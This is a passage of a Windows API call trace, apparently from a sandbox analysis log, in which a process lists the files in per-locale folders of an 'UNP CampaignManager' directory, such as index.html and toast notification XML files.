	[0157.036] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.036] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.036] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0157.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0157.037] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0157.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0157.037] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS") returned 105
	[0157.037] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0157.038] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.038] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.039] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.039] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929796cf, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x929796cf, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.039] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.039] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.039] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0157.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0157.040] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0157.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0157.040] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE") returned 100
	[0157.041] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0157.041] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.042] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9702, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.042] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93007e14, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93007e14, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.042] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93007e14, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93007e14, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.042] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.042] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.042] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0157.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0157.043] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1
	[0157.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0157.043] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH") returned 100
	[0157.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0157.046] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.046] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x1007a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.046] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x306, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.046] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.046] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.046] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.046] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0157.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0157.047] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0157.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0157.047] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR") returned 100
	[0157.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0157.049] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.049] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9cf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.049] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93696451, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93696451, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.050] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938ac51e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x938ac51e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0157.050] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0157.050] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0157.050] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0157.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0157.051] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0157.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0157.051] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA") returned 100
	[0157.051] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\uk-UA\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0157.053] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.054] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xd422, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0157.054] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x19338e00, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0157.054] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
